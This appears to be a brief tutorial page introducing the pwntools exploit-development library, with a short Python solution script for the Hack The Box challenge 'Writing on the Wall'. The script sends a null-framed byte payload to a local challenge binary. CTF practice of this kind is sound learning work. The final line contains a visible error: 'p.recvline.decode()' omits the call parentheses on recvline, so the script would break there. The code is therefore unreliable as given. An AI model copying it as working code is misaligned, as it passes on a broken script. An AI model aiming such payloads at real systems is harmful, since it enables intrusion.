1 min
pwntools
pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
pwntools is a framework used to make rapid exploit development a breeze. For example, the solution to the Hack The Box challenge Writing on the Wall can be easily implemented with only a few lines of code:
from pwn import *
# Set the target binary within the context variable
context.binary = './writing_on_the_wall'
# Start a new process with the binary specified in context.binary
p = process()
# Print the output to the console
print(p.recv().decode())
# 7 byte long payload, the first and the last byte must be a nullbyte (\x00)
# The other five bytes in the middle are not relevant
payload = b'\x00' + b'\xde\xad\xbe\xef\xff' + b'\x00'
# Send the payload to the target binary
p.send(payload)
# Receive and print the output to the console
info(p.recvline.decode())